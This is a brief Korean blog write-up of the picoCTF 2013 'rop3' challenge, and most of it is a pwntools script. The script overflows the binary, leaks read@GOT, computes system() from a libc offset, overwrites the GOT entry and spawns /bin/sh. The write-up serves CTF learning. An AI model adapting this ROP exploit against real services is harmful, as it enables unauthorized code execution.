[pico CTF 2013] rop3

pico CTF Rop3번문제 (grin)

취약점 분석!

똑..같다 ㅎ

하지만 이번에는 shell을 직접 띄어줘야한다 ㅠㅠ

저번에푼rop공룡같이 풀어본다!!

from pwn import *
 
r = process("./rop3")
 
payload = ""
read_plt = 0x08048360
read_got = 0x0804a000
write_plt = 0x080483a0
shell = "/bin/sh"
bss = 0x0804a020
offset = 0x9ad60
pppr = 0x804855d
 
payload += "A"*140
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(8)
payload += p32(write_plt) + p32(pppr) + p32(1) + p32(read_got) + p32(4)
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(read_got) + p32(4)
payload += p32(read_plt) + "AAAA" + p32(bss)
 
r.send(payload)
sleep(0.4)
 
r.send(shell)
sleep(0.5)
 
 
readoffset = u32(r.recv(4))
system = readoffset - offset
print(system)
r.send(p32(system))
 
r.interactive()
 

(grin)